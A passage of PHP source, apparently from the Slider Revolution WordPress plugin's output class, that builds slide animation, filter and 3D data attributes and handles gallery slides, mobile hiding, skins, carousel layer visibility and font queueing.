				$this->frontend_action = true;
			}
		}
		
		$anim = ' data-anim="';
		$slots = false;
		if(!empty($transition)){ /* FALLBACK TO OLD OUTPUT */
			foreach($base_transitions as $_type => $_transition){
				if(empty($_transition) || !is_array($_transition)) continue;
				foreach($_transition as $_values){
					if(empty($_values) || !is_array($_values)) continue;
					foreach($_values as $_name => $_v){
						if($_name !== $transition) continue;
						$data = $_v;
						if($_type === 'basic') $slots = '1'; //set slots to 1 as a fallback
						break;
					}
				}
			}
			
			if(!is_array($data)) $data = array();
			
			$duration = (!isset($duration)) ? $this->get_html_slide_anim_duration() : $duration;
			if(in_array($transition, array('3dcurtain-vertical', '3dcurtain-horizontal'), true)){
				$duration = (empty($duration) || $duration == '') ? 500 : intval(intval($duration) / 3);
			}elseif($duration == '' && strpos($transition, 'slidingoverlay') !== false){				
				$duration = 2000;
			}
			$anim .= ($duration === '') ? '' : 'ms:'.$duration.';';
			$anim .= $this->get_html_slide_anim_rotation();
			$anim .= $this->get_html_slide_anim_attribute($data, false, 'adpr', true, 'adpr', false);
			$anim .= $this->get_html_slide_anim_attribute($data, false, 'd', 15, 'd', false);
			$anim .= $this->get_html_slide_anim_attribute($data, false, 'e', 'basic', 'e', false);
			$anim .= $this->get_html_slide_anim_attribute($data, false, 'p', 'none', 'p', false);
			$anim .= $this->get_html_slide_anim_attribute($data, false, 'f', 'start', 'f', false);
			$anim .= $this->get_html_slide_anim_attribute($data, false, 'o', 'inout', 'o', false);
			
			//move slots if exists to the $data
			$slots = ($slots === false) ? $this->get_slide_some_attribute('slots') : $slots;
			
			if(!empty($slots) && !in_array($slots, array('default', 'd'), true)){ //
				if(!isset($data['in'])) $data['in'] = array();
				if(!isset($data['in']['row'])) $data['in']['row'] = $slots;
				if(!isset($data['in']['col'])) $data['in']['col'] = $slots;
			}

			$easin = $this->get_slide_some_attribute('easeIn');
			$easout = $this->get_slide_some_attribute('easeOut');

			if(!empty($easin) && !in_array($easin, array('default', 'd'), true)){ //
				if(!isset($data['in'])) $data['in'] = array();
				if(!isset($data['in']['e'])) $data['in']['e'] = $easin;
				$this->easings[$easin] = $easin;
			}

			if(!empty($easout) && !in_array($easout, array('default', 'd'), true)){ //
				if(!isset($data['out'])) $data['out'] = array();
				if(!isset($data['out']['e'])) $data['out']['e'] = $easout;
				$this->easings[$easout] = $easout;
			}

		}else{ /*CANVAS*/
			/* Animate Defaults */
			$anim .= $this->get_html_slide_anim_attribute($data, false, 'eng', 'animateCore', 'eng', false);
			$anim .= $this->get_html_slide_anim_attribute($data, false, 'adpr', true, 'adpr', false);
			$anim .= $this->get_html_slide_anim_attribute($data, false, 'd', 15, 'd', false);
			$anim .= $this->get_html_slide_anim_attribute($data, false, 'e', 'basic', 'e', false);
			$anim .= $this->get_html_slide_anim_attribute($data, false, 'speed', 1000, 'ms', false);
			$anim .= $this->get_html_slide_anim_attribute($data, false, 'p', 'none', 'p', false);
			$anim .= $this->get_html_slide_anim_attribute($data, false, 'f', 'start', 'f', false);
			$anim .= $this->get_html_slide_anim_attribute($data, false, 'o', 'inout', 'o', false);
			
		}
		$anim .= '"';


		/* Animates 3D */
		$anim_ddd = ' data-d3="';
		$dddf = $this->get_html_slide_anim_attribute($data, 'd3', 'f', 'none', 'f', false);
		if($dddf !== 'f:none'){
			$anim_ddd .= $this->get_html_slide_anim_attribute($data, 'd3', 'f', 'none', 'f', false);
			$anim_ddd .= $this->get_html_slide_anim_attribute($data, 'd3', 'd', 'horizontal', 'd', false);
			$anim_ddd .= $this->get_html_slide_anim_attribute($data, 'd3', 'z', '300', 'z', false);
			if($dddf === 'fly'){
				$anim_ddd .= $this->get_html_slide_anim_attribute($data, 'd3', 'fz', '0', 'fz', false);
				$anim_ddd .= $this->get_html_slide_anim_attribute($data, 'd3', 'fdi', '1.5', 'fdi', false);
				$anim_ddd .= $this->get_html_slide_anim_attribute($data, 'd3', 'fdo', '2', 'fdo', false);
			}
			if($dddf !== 'turn'){
				$anim_ddd .= $this->get_html_slide_anim_attribute($data, 'd3', 't', '0', 't', false);
			}			
			$anim_ddd .= $this->get_html_slide_anim_attribute($data, 'd3', 'c', '#ccc', 'c', false);
			$anim_ddd .= $this->get_html_slide_anim_attribute($data, 'd3', 'e', 'power2.inOut', 'e', false);
			$shad = $this->get_html_slide_anim_attribute($data, 'd3', 'su', 'false', 'su', false);
			if($shad === 'su:true;'){
				$anim_ddd .= 'su:true;';
				$anim_ddd .= $this->get_html_slide_anim_attribute($data, 'd3', 'sc', '#000', 'sc', false);
				$anim_ddd .= $this->get_html_slide_anim_attribute($data, 'd3', 'smi', '0', 'smi', false);
				$anim_ddd .= $this->get_html_slide_anim_attribute($data, 'd3', 'sma', '0.5', 'sma', false);
			}
		}
		$anim_ddd .= '"'; 
		
		/* Animates In */
		$anim_in = ' data-in="';
		if(!empty($rnd_transition)) $anim_in .= 'prst:'.$preset.';';
		$motion = (empty($data)) ? $slide->get_param(array('slideChange', 'in', 'mou'), false) : $this->get_val($data, array('in', 'mou'), false);
		if($motion === true) $anim_in .= $this->get_html_slide_anim_attribute($data, 'in', 'mo', '80', 'mo', true);
		if($motion === true) $anim_in .= $this->get_html_slide_anim_attribute($data, 'in', 'moo', 'none', 'moo', true);
		$anim_in .= $this->get_html_slide_anim_attribute($data, 'in', 'o', '1', 'o', false);
		$anim_in .= $this->get_html_slide_anim_attribute($data, 'in', 'x', '0', 'x', false);
		$anim_in .= $this->get_html_slide_anim_attribute($data, 'in', 'y', '0', 'y', false);
		$anim_in .= $this->get_html_slide_anim_attribute($data, 'in', 'r', '0', 'r', false);
		$anim_in .= $this->get_html_slide_anim_attribute($data, 'in', 'sx', '1', 'sx', false);
		$anim_in .= $this->get_html_slide_anim_attribute($data, 'in', 'sy', '1', 'sy', false);
		$anim_in .= $this->get_html_slide_anim_attribute($data, 'in', 'm', false, 'm', false);
		$anim_in .= $this->get_html_slide_anim_attribute($data, 'in', 'e', 'power2.inOut', 'e', false);
		$anim_in .= $this->get_html_slide_anim_attribute($data, 'in', 'row', '1', 'row', false);
		$anim_in .= $this->get_html_slide_anim_attribute($data, 'in', 'col', '1', 'col', false);
		$anim_in .= '"'; 

		/* Basic Filters */
		$anim_filters = ' data-filter="';
		$slide_filters = (empty($data)) ? $slide->get_param(array('slideChange', 'filter', 'u'), false) : $this->get_val($data, array('filter', 'u'), false);		
		if($slide_filters === true){		
			$anim_filters .= $this->get_html_slide_anim_attribute($data, 'filter', 'e', 'default', 'e', false);
			$anim_filters .= $this->get_html_slide_anim_attribute($data, 'filter', 'm', '0', 'm', false);
			$anim_filters .= $this->get_html_slide_anim_attribute($data, 'filter', 'b', '0', 'b', false);
			$anim_filters .= $this->get_html_slide_anim_attribute($data, 'filter', 'g', '0', 'g', false);
			$anim_filters .= $this->get_html_slide_anim_attribute($data, 'filter', 'h', '100', 'h', false);
			$anim_filters .= $this->get_html_slide_anim_attribute($data, 'filter', 's', '0', 's', false);
			$anim_filters .= $this->get_html_slide_anim_attribute($data, 'filter', 'c', '100', 'c', false);
			$anim_filters .= $this->get_html_slide_anim_attribute($data, 'filter', 'i', '0', 'i', false);
		}
		$anim_filters .= '"'; 
		
		$slide_out = (empty($data)) ? $slide->get_param(array('slideChange', 'out', 'a'), true) : $this->get_val($data, array('out', 'a'), true);
		
		/* Animates Out */
		$anim_out = ' data-out="';
		if($slide_out === false){
			$_anim_out = $this->get_html_slide_anim_attribute($data, 'out', 'o', '1', 'o', false);
			$_anim_out .= $this->get_html_slide_anim_attribute($data, 'out', 'x', '0', 'x', false);
			$_anim_out .= $this->get_html_slide_anim_attribute($data, 'out', 'y', '0', 'y', false);
			$_anim_out .= $this->get_html_slide_anim_attribute($data, 'out', 'r', '0', 'r', false);
			$_anim_out .= $this->get_html_slide_anim_attribute($data, 'out', 'sx', '1', 'sx', false);
			$_anim_out .= $this->get_html_slide_anim_attribute($data, 'out', 'sy', '1', 'sy', false);
			$_anim_out .= $this->get_html_slide_anim_attribute($data, 'out', 'm', false, 'm', false);
			$_anim_out .= $this->get_html_slide_anim_attribute($data, 'out', 'e', 'power2.inOut', 'e', false);
			$_anim_out .= $this->get_html_slide_anim_attribute($data, 'out', 'row', '1', 'row', false);
			$_anim_out .= $this->get_html_slide_anim_attribute($data, 'out', 'col', '1', 'col', false);
			
			$anim_out .= ($_anim_out === '') ? 'a:false;' : $_anim_out;
		}
		
		$anim_out .= '"';
		
		if($anim === ' data-anim=""') $anim = '';
		if($anim_filters !== ' data-filter=""') $anim .= $anim_filters;
		if($anim_in !== ' data-in=""') $anim .= $anim_in;
		if($anim_out !== ' data-out=""') $anim .= $anim_out;
		if($anim_ddd !== ' data-d3=""') $anim .= $anim_ddd;
		
		return $anim;
	}
	
	/**
	 * get slide duration as html
	 **/
	public function get_html_slide_anim_duration(){
		$slide		= $this->get_slide();
		$duration	= $slide->get_param(array('timeline', 'duration'), ''); //$this->slider->get_param(array('def', 'transitionDuration'), '')
		$duration	= ((is_array($duration) || is_object($duration)) && !empty($duration)) ? implode(',', (array)$duration) : $duration;
		if(in_array($duration, array('default', 'd'), true)) $duration = '';
		
		return (!empty($duration)) ? $duration : '';
	}
	
	

	/**
	 * get slide rotation as html
	 **/
	public function get_html_slide_anim_rotation(){
		$slide		= $this->get_slide();
		$rotation	= (array)$slide->get_param(array('timeline', 'rotation'), '');
		$html_rotation = '';
		
		if(!empty($rotation)){
			$rot_string = '';
			foreach($rotation as $rkey => $rot){
				if(intval($rot) !== 0){			
					$rot = intval($rot);			
					if($rot != 0){
						if($rot > 720 && $rot != 999)
							$rot = 720;
						if($rot < -720)
							$rot = -720;
					} 
				}
				if(in_array($rot, array('random', 'ran', 'rand'), true)) $rot = 'ran(-20|20)';
				$rot = $this->shorten($rot, 'default', 'd');
				$rot = $this->transform_frame_vals($rot);
				if(in_array($rot, array('default', 'd'), true)) continue;
				
				if($rkey > 0) $rot_string .= ',';
				$rot_string .= $rot;
			}
			if($rot_string !== ''){
				$html_rotation = 'r:'.$rot_string.';';
			}
		}
		
		return $html_rotation;
	}
	
	/**
	 * get slide ease in as html
	 **/
	public function get_html_slide_anim_ease_in(){
		$slide	= $this->get_slide();
		$easein	= $slide->get_param(array('timeline', 'easeIn'), array('default'));
		if((is_array($easein) || is_object($easein)) && !empty($easein)){
			foreach($easein as $ei){
				$this->easings[$ei] = $ei;
			}
		}else{
			$this->easings[$easein] = $easein;
		}
		
		$easein = (!empty($easein) && (is_array($easein) || is_object($easein))) ? 'ei:'.implode(',', (array)$easein).';' : '';

		return str_replace('default', 'd', $easein);
	}
	
	/**
	 * get slide ease out as html
	 **/
	public function get_html_slide_anim_ease_out(){
		$slide	 = $this->get_slide();
		$easeout = $slide->get_param(array('timeline', 'easeOut'), array('default'));
		if((is_array($easeout) || is_object($easeout)) && !empty($easeout)){
			foreach($easeout as $eo){
				$this->easings[$eo] = $eo;
			}
		}else{
			$this->easings[$easeout] = $easeout;
		}
		
		$easeout = (!empty($easeout) && (is_array($easeout) || is_object($easeout))) ? 'eo:'.implode(',', (array)$easeout).';' : '';
		
		return str_replace('default', 'd', $easeout);
	}
	
	/**
	 * prepare the transition data attribute
	 **/
	public function get_html_first_transition(){
		$slide		= $this->get_slide();
		$transition	= $slide->get_param(array('timeline', 'transition'), '');
		if((is_array($transition) || is_object($transition)) && !empty($transition)){
			$transition = (array)$transition;
			$transition = array_shift($transition);
		}
		$transition = (empty($transition)) ? '' : $transition;
		
		return (trim($transition) !== '') ? $transition : '';
	}
	
	/**
	 * prepare the transition data attribute
	 **/
	public function get_html_random_animations(){
		$sl	= $this->get_slide();
		$t	= $sl->get_param(array('timeline', 'transition'), 'fade');
		$_t = (!is_array($t)) ? explode(',', $t) : $t;
		
		$random = '';
		if(is_array($_t) && !empty($_t)){
			$random = (in_array('random-selected', $_t, true)) ? ' data-rndtrans="on"' : $random;
		}
		
		return $random;
	}
	
	/**
	 * prepare the alternate transition data attribute
	 **/
	public function get_html_alt_transitions(){
		$slide = $this->get_slide();
		
		$alt_trans	= ' data-alttrans="';
		$alt		= (array)$slide->get_param(array('slideChange', 'alt'), array());
		if(empty($alt)){ //check for fallback of the old output, remove first entry
			$alt = (array)$slide->get_param(array('timeline', 'transition'), array());
			if(!empty($alt)) array_shift($alt);
		}
		$alt_trans .= implode(',', $alt);
		$alt_trans .= '"';
		
		$this->frontend_action = ($alt_trans !== ' data-alttrans=""') ? true : $this->frontend_action;
		
		return ($alt_trans !== ' data-alttrans=""') ? $alt_trans : '';
	}

	/**
	 * get slide loop
	 **/
	public function get_html_slide_loop(){
		$html = '';
		$slide = $this->get_slide();	
		if($slide->get_param(array('timeline', 'loop', 'set'), false) === true){
			$html .= 's:'.$slide->get_param(array('timeline', 'loop', 'start'), '2500').';';

			$lend = $slide->get_param(array('timeline', 'loop', 'end'), '4500');
			if(!empty($lend) && is_numeric($lend)) $html .= 'e:'.$lend.';';

			$rpt = $slide->get_param(array('timeline', 'loop', 'repeat'), 'unlimited');
			if(!empty($rpt) && $rpt !== 'unlimited') $html .= 'r:'.$rpt.';';
		}
		
		return ($html !== '') ? ' data-sloop="'.$html.'"' : '';
	}

	/**
	 * the first transition can be changed through Slider settings, so check here
	 **/
	public function js_get_first_anim_data(){
		$html = '';
		if($this->slider->get_param(array('general', 'firstSlide', 'set'), false) == true && $this->slider->get_param('type') !== 'hero'){
			$base_transitions = $this->get_base_transitions();
			$transition = $this->slider->get_param(array('general', 'firstSlide', 'type'), 'fade');
			$data = array();
			foreach($base_transitions as $_transition){
				if(empty($_transition) || !is_array($_transition)) continue;
				foreach($_transition as $_values){
					if(empty($_values) || !is_array($_values)) continue;
					foreach($_values as $_name => $_v){
						if($_name !== $transition) continue;
						$data = $_v;
						break;
					}
				}
			}
			
			$duration = str_replace('ms', '', $this->slider->get_param(array('general', 'firstSlide', 'duration'), '300'));
			if(!empty($duration) && is_numeric($duration)) $data['speed'] = $duration;
			if(isset($data['title'])) unset($data['title']);

			
			$data = apply_filters('revslider_disable_first_trans', $data, $this->slider);
			
			if(!empty($data)){
				$ff = true;
				$html .= $this->JTA . RS_T5.'fanim: {'."\n";
				foreach($data as $k => $v){
					$html .= ($ff === true) ? '' : ','."\n";
					$html .= $this->JTA . RS_T6.$k.':';
					if(!empty($v)){
						if(is_array($v)){
							$html .= json_encode($v);
						}else{
							$html .= $this->write_js_var($v);
						}
					}
					$ff = false;
				}
				$html .= "\n".$this->JTA . RS_T5.'},'."\n";
			}
		}
		return $html;
	}
	
	/**
	 * return the media filter settings
	 **/
	public function get_html_media_filter(){
		$slide	= $this->get_slide();
		$filter = $slide->get_param(array('bg', 'mediaFilter'), 'none');
		return ($filter != 'none') ? ' data-mediafilter="'.$filter.'"' : '';
	}
	
	/**
	 * return the slide class html
	 **/
	public function get_html_slide_class(){
		$slide = $this->get_slide();
		$class = $slide->get_param(array('attributes', 'class'), '');
		return ($class != '') ? ' class="'.$class.'"' : '';
	}
	
	/**
	 * return the slide id html
	 **/
	public function get_html_slide_id(){
		$slide	= $this->get_slide();
		$id		= $slide->get_param(array('attributes', 'id'), '');
		return ($id != '') ? ' id="'.$id.'"' : '';
	}
	
	/**
	 * return the extra data html
	 **/
	public function get_html_extra_data(){
		$slide	= $this->get_slide();
		$data	= stripslashes($slide->get_param(array('attributes', 'data'), ''));
		$deeplink = stripslashes($slide->get_param(array('attributes', 'deeplink'), ''));
		if (!empty($deeplink)) {
			$data = $data.' data-deeplink="'.$deeplink.'" ';
		}

		return ($data != '') ? ' '.$data : '';
	}
	
	/**
	 * return the hide after loop html
	 **/
	public function get_html_hide_after_loop(){
		$slide = $this->get_slide();
		$hal = $slide->get_param(array('visibility', 'hideAfterLoop'), 0);
		return ($hal !== 0) ? ' data-hal="'.$hal.'"' : '';
	}
	
	/**
	 * return the hide slide if we are mobile html
	 **/
	public function get_html_hide_slide_mobile(){
		$slide	= $this->get_slide();
		$hsom	= $slide->get_param(array('visibility', 'hideOnMobile'), false);
		return ($hsom === true) ? ' data-hsom="on"' : '';
	}
	
	/**
	 * get extra params that can be set
	 **/
	public function get_html_extra_params(){
		$params	= '';
		$slide	= $this->get_slide();
		
		for($mi = 0; $mi < 10; $mi++){
			$pa = $slide->get_param(array('info', 'params', $mi, 'v'), '');
			
			if($pa !== ''){
				$pa_limit = $slide->get_param(array('info', 'params', $mi, 'l'), 10);
				$pa = strip_tags($pa);
				$pa = mb_substr($pa, 0, $pa_limit, 'utf-8');
			}
			$mm = $mi + 1;
			$params .= ($pa !== '') ? ' data-p'.$mm.'="'.stripslashes(esc_attr($pa)).'"' : '';
		}
		
		return $params;
	}
	
	/**
	 * get the image or video ratio data attribute
	 * only for carousel sliders that are set to justify
	 **/
	public function get_html_image_video_ratio(){
		$slide = $this->get_slide();
		$s = $this->slider;
		$ratio = '';
		
		if($s->get_param('type', 'standard') !== 'carousel') return '';
		if($s->get_param(array('carousel', 'justify'), false) !== true) return '';
		
		switch($slide->get_param(array('bg', 'type'), 'trans')){
			case 'image':
				$src = $slide->image_url;
				$id	 = $slide->image_id;
				$data = array();
				if(!empty($id) && intval($id) !== 0){
					$data = wp_get_attachment_metadata($id);
				}
				if(empty($data) && $src !== false){
					$id = $this->get_image_id_by_url($src);
					$data = wp_get_attachment_metadata($id);
				}
				
				if(!empty($data)){
					$size = $slide->get_param(array('bg', 'imageSourceType'), 'full');
					if($size !== 'full'){
						if(isset($data['sizes']) && isset($data['sizes'][$size])){
							$width	= $this->get_val($data, array('sizes', $size, 'width'), '1');
							$height = $this->get_val($data, array('sizes', $size, 'height'), '1');
							$ratio	= round($width / $height, 5);
						}
					}else{
						$width	= $this->get_val($data, 'width', '1');
						$height = $this->get_val($data, 'height', '1');
						$ratio	= round($width / $height, 5);
					}
				}
			break;
			case 'html5':
			case 'vimeo':
			case 'youtube':
				switch($slide->get_param(array('bg', 'video', 'ratio'), '16:9')){
					case '16:9':
						$ratio = round(16 / 9, 5);
					break;
					case '4:3':
						$ratio = round(4 / 3, 5);
					break;
				}
			break;
		}
		
		return ($ratio !== '') ? ' data-iratio="'.$ratio.'"' : '';
	}
				
	
	/**
	 * remove the navigation, as for example we are on a single slide
	 **/
	public function remove_navigation(){
		$this->slider->set_param(array('nav', 'arrows', 'set'), false);
		$this->slider->set_param(array('nav', 'bullets', 'set'), false);
		$this->slider->set_param(array('nav', 'tabs', 'set'), false);
		$this->slider->set_param(array('nav', 'thumbs', 'set'), false);
	}
	
	/**
	 * set the slides to hold the gallery images
	 **/
	public function set_gallery_slides($slides){
		//check if we have at least one slide. If not, then it may result in errors here
		if(count($slides) > 0){
			$gallery_ids = $this->get_gallery_ids();
			if(count($gallery_ids) !== count($slides)){ //set slides to the same amount as
				if(count($gallery_ids) < count($slides)){
					$slides = array_slice($slides, 0, count($gallery_ids));
				}else{ // >
					while(count($slides) < count($gallery_ids)){
						foreach($slides as $slide){
							$new_slide = clone $slide;
							array_push($slides, $new_slide);
							if(count($slides) >= count($gallery_ids)) break;
						}
					}
					if(count($gallery_ids) < count($slides)){
						$slides = array_slice($slides, 0, count($gallery_ids));
					}
				}
			}
			
			$post_slide	= $this->slider->is_posts();
			$size	= $this->slider->get_param(array('def', 'background', 'imageSourceType'), 'full');
			$gi		= 0;
			
			foreach($slides as $skey => $slide){ //add gallery images into slides
				//set post id to imageid
				
				//check if slider is Post Based, if yes use $slide->get_id(); else use $gallery_ids[$gi]
				if($post_slide){
					$ret = $slide->set_image_by_id($slide->get_id(), $size);
				}else{
					$ret = $slide->set_image_by_id($gallery_ids[$gi], $size);
				}
				if($ret === true){ //set slide type to image instead of for example external or transparent
					
					/*
					 * If a "Specific Posts" Slider doesn't have a 'bg' param, create it
					*/
					$bg = $slide->get_param('bg', array());
					if(empty($bg)) $slide->set_param('bg', array());
					
					/*
					 * Changed to 'image' for WP Gallery AddOn compatibility
					*/
					$slide->set_param(array('bg', 'type'), 'image');
				}else{
					unset($slides[$skey]);
				}
				
				$gi++;
			}
		}
		
		return $slides;
	}
	
	
	/**
	 * remove Slides that should be hidden on mobile
	 **/
	public function remove_slide_if_mobile($slides){
		//check if mobile, if yes, then remove certain slides
		$usragent = (isset($_SERVER['HTTP_USER_AGENT'])) ? $_SERVER['HTTP_USER_AGENT'] : '';
		$mobile = (wp_is_mobile() || strstr($usragent,'Android') || strstr($usragent,'webOS') || strstr($usragent,'iPhone') ||strstr($usragent,'iPod') || strstr($usragent,'iPad') || strstr($usragent,'Windows Phone')) ? true : false;
		if($mobile && !empty($slides)){
			foreach($slides as $ss => $sv){
				if($sv->get_param(array('visibility', 'hideOnMobile'), false) === true){
					unset($slides[$ss]);
				}
			}
		}
		
		return $slides;
	}
	
	
	/**
	 * Get the Hero Slide of the Slider
	 * @since: 5.0
	 * @before: RevSliderOutput::getHeroSlide();
	 */
	private function get_hero_slide($slides){
		if(empty($slides)) return $slides;
		
		$hero_id = $this->slider->get_param(array('hero', 'activeSlide'), -1);
		
		foreach($slides as $slide){
			if($slide->get_id() == $hero_id){
				return $slide;
			}
			if($this->get_language() !== 'all'){
				if($slide->get_param(array('child', 'parentId'), '') == $hero_id){
					return $slide;
				}
			}
		}
		
		//could not be found, use first slide
		foreach($slides as $slide){
			return $slide;
		}
	}
	
	/**
	 * reorder the slides by the given order
	 **/
	public function order_slides($slides, $order){
		$temp_slides = $slides;
		$slides = array();
		
		foreach($order as $order_slideid){
			foreach($temp_slides as $temp_slide){
				if($temp_slide->get_id() == $order_slideid){
					$temp_slide->set_param(array('publish', 'state'), 'published'); //set to published
					$slides[] = $temp_slide;
					break;
				}
			}
		}
		
		return $slides;
	}
	
	/**
	 * check the add_to
	 * return true / false if the put in string match the current page.
	 * @before isPutIn()
	 */
	public function check_add_to($empty_is_false = false){
		$add_to = $this->get_add_to();
		
		if($empty_is_false && empty($add_to)) return false;
		
		if($add_to == 'homepage'){ //only add if we are the homepage
			if(is_front_page() == false && is_home() == false) return false;
		}elseif(!empty($add_to)){
			
			$add_to_pages = array();
			$add_to = explode(',', $add_to);
			if(!empty($add_to)){
				foreach($add_to as $page){
					$page = trim($page);
					
					if(is_numeric($page) || $page == 'homepage') $add_to_pages[] = $page;
				}
			}
			
			//check if current page is in list
			if(!empty($add_to_pages)){
				$cp_id = $this->get_current_page_id();
				if(array_search($cp_id, $add_to_pages) === false) return false;
			}else{
				return false;
			}
		}
		
		return true;
	}
	
	/**
	 * get the current page id
	 * @since: 6.0
	 **/
	public function get_current_page_id(){
		$id = '';
		
		if(is_front_page() == true || is_home() == true){
			$id = 'homepage';
		}else{
			global $post;
			$id = (isset($post->ID)) ? $post->ID : $id;
		}
		
		return $id;
	}
	
	/**
	 * set general values that are needed by layers
	 * this is needed to be called before any layer is added to the stage
	 **/
	public function set_general_params_for_layers(){
		$this->enabled_sizes = array(
			'd' => true,
			'n' => $this->slider->get_param(array('size', 'custom', 'n'), false),
			't' => $this->slider->get_param(array('size', 'custom', 't'), false),
			'm' => $this->slider->get_param(array('size', 'custom', 'm'), false)
		);
		$this->adv_resp_sizes = $this->enabled_sizes['n'] == true || $this->enabled_sizes['t'] == true || $this->enabled_sizes['m'] == true;
		
		$this->icon_sets = $this->set_icon_sets(array());
	}
	
	/**
	 * modify slider settings through the shortcode directly
	 */
	private function modify_settings(){
		$settings = $this->get_custom_settings();
		$settings = apply_filters('revslider_modify_slider_settings', $settings, $this->get_slider_id());
		
		if(empty($settings) || !is_array($settings)) return;
		
		$params = $this->slider->get_params();
		foreach($settings as $handle => $setting){
			$params[$handle] = $setting;
		}
		
		$this->slider->set_params($params);
	}
	
	/**
	 * modfy slide and layer settings by a selected skin
	 **/
	private function modify_slide_by_skin(){
		/**
		 * 1. check if the skin exists
		 * 2. check if the skin is loaded
		 * 3. push the data to the layers by certain routines
		 **/
		if(empty($this->custom_skin)) return true;
		
		//1 + 2
		if(!isset($this->custom_skin_data[$this->custom_skin])) $this->custom_skin_data[$this->custom_skin] = array();
		$_mod = $this->get_val($this->custom_skin_data, array($this->custom_skin, 'slide'), array());
		
		//3
		if(empty($_mod)) return true;
	
		$slide = $this->get_slide();
		$_p = $slide->get_params();
		$_p = array_replace_recursive($_p, $_mod);
		$slide->set_params($_p);
		$this->set_slide($slide);
	}
	
	/**
	 * modfy slide and layer settings by a selected skin
	 **/
	private function modify_layers_by_skin(){
		/**
		 * 1. check if the skin exists
		 * 2. check if the skin is loaded
		 * 3. push the data to the layers by certain routines
		 **/
		if(empty($this->custom_skin)) return true;
		
		//1 + 2
		if(!isset($this->custom_skin_data[$this->custom_skin])) $this->custom_skin_data[$this->custom_skin] = array();
		$_mod = $this->get_val($this->custom_skin_data, array($this->custom_skin, 'layers'), array());
		
		if(empty($_mod)) return true;
		
		//3
		$slide = $this->get_slide();
		$layers = $slide->get_layers();
		foreach($layers as $lk => $lv){
			$layers[$lk] = array_replace_recursive($layers, $_mod);
		}
		$slide->set_layers_raw($layers);
		$this->set_slide($slide);
	}

	/**
	 * modfy layer settings alwaysOnCarousel, if paren is false, all children need to be set to false
	 **/
	private function modify_layers_by_carousel(){
		if($this->slider->get_param('type', 'standard') !== 'carousel') return true;

		$map	= array();
		$slide	= $this->get_slide();
		$layers	= $slide->get_layers();

		foreach($layers as $lk => $layer){
			$uid	= intval($this->get_val($layer, 'uid'));
			$map[$uid] = array(
				'aoc'	=> $this->get_val($layer, array('visibility', 'alwaysOnCarousel'), false),
				'puid'	=> intval($this->get_val($layer, array('group', 'puid'), '-1')),
				'type'	=> $this->get_val($layer, 'type', 'text'),
			);
		}

		if(!empty($map)){
			$mod = false;
			foreach($map as $uid => $values){
				if($values['puid'] === -1) continue; //if we do not have a parent, we do not need to change the value on this $uid
				if($values['aoc'] === false) continue; //as we are true, check if we need to set it to false if parents are somewhere set to false
				
				$parent = $values['puid'];
				$run	= 0;
				while($parent !== -1){
					if($run >= 10) break;
					if(isset($map[$parent]) && $map[$parent]['type'] === 'zone') break;
					
					if(!isset($map[$parent]) || $map[$parent]['aoc'] === false){
						$map[$uid]['aoc'] = false;
						$mod = true;
					}
					$parent = (!isset($map[$parent])) ? -1 : $map[$parent]['puid'];
					$run++;
				}
			}

			if($mod === false) return true;

			foreach($layers as $lk => $layer){
				$uid = intval($this->get_val($layer, 'uid'));
				if(!isset($layers[$lk]['visibility'])) $layers[$lk]['visibility'] = array();
				$layers[$lk]['visibility']['alwaysOnCarousel'] = $this->get_val($map, array($uid, 'aoc'), false);
			}

			$slide->set_layers_raw($layers);
			$this->set_slide($slide);
		}
	}

	/**
	 * modify layer settings depending on certain values
	 * @since: 6.6.8
	 **/
	public function modify_layer_settings(){
		$this->modify_layers_by_skin();
		$this->modify_layers_by_carousel();
	}
	
	/**
	 * modify slider settings for preview mode
	 * @before: RevSliderOutput::modifyPreviewModeSettings
	 */
	private function modify_preview_mode_settings(){
		$js_to_body = apply_filters('revslider_modify_preview_mode_settings', false);
		$this->slider->set_param(array('troubleshooting', 'jsInBody'), $js_to_body);
	}
	
	/**
	 * set the fonts to be added right before the slider from slider and layers
	 * @since: 6.0
	 */
	private function set_fonts(){
		//add all google fonts of layers
		$gfsub	= $this->slider->get_param('subsets', array());
		$gf		= $this->slider->get_used_fonts(false);
		
		foreach($gf as $gfk => $gfv){
			$variants = array();
			if(!empty($gfv['variants'])){
				foreach($gfv['variants'] as $mgvk => $mgvv){
					$variants[] = $mgvk;
				}
			}
			
			$subsets = array();
			if(!empty($gfv['subsets'])){
				foreach($gfv['subsets'] as $ssk => $ssv){
					if(array_search(esc_attr($gfk.'+'.$ssv), $gfsub) !== false){
						$subsets[] = $ssv;
					}
				}
			}
			
			$url = (isset($gfv['url'])) ? $gfv['url'] : '';
			$this->set_clean_font_import($gfk, '', $url, $variants, $subsets);
		}
	}
	
	/**
	 * set the font clean for import
	 * @before: RevSliderOperations::setCleanFontImport()
	 */
	public function set_clean_font_import($font, $class = '', $url = '', $variants = array(), $subsets = array()){
		global $revslider_fonts;
		
		if(!isset($revslider_fonts)) $revslider_fonts = array('queue' => array(), 'loaded' => array()); //if this is called without revslider.php beeing loaded
		
		if(!empty($variants) || !empty($subsets)){
			if(!isset($revslider_fonts['queue'][$font])) $revslider_fonts['queue'][$font] = array();
			if(!isset($revslider_fonts['queue'][$font]['variants'])) $revslider_fonts['queue'][$font]['variants'] = array();
			if(!isset($revslider_fonts['queue'][$font]['subsets'])) $revslider_fonts['queue'][$font]['subsets'] = array();
			
			if(!empty($variants)){
				foreach($variants as $k => $v){
					//check if the variant is already in loaded
					if(!in_array($v, $revslider_fonts['queue'][$font]['variants'], true)){
						$revslider_fonts['queue'][$font]['variants'][] = $v;
					}else{ //already included somewhere, so do not call it anymore
						unset($variants[$k]);
					}
				}
			}
			if(!empty($subsets)){
				foreach($subsets as $k => $v){
					if(!in_array($v, $revslider_fonts['queue'][$font]['subsets'], true)){
						$revslider_fonts['queue'][$font]['subsets'][] = $v;
					}else{ //already included somewhere, so do not call it anymore
						unset($subsets[$k]);
					}
				}
			}
			if($url !== ''){
				$revslider_fonts['queue'][$font]['url'] = $url;
			}
		}
	}
	
	
	/**
	 * add all options that change the slider here, for the cache to properly work
	 * @since: 6.4.6
	 **/
	public function get_transient_alias(){
		global $rs_slider_serial, $rs_wmpl;
		
		$gs = $this->get_global_settings();
		
		$transient = 'revslider_slider';
		$transient .= '_'.$this->get_slider_id();
		
		$args = array(
			'fontdownload' => $this->get_val($gs, 'fontdownload', 'off'),
			'serial'	=> $rs_slider_serial,
			'admin'		=> is_admin(),
			'settings'	=> $this->custom_settings,
			'order'		=> $this->custom_order,
			'usage'		=> $this->usage,
			'modal'		=> $this->modal,
			'layout'	=> $this->sc_layout,
			'skin'		=> $this->custom_skin,
			'offset'	=> $this->offset,
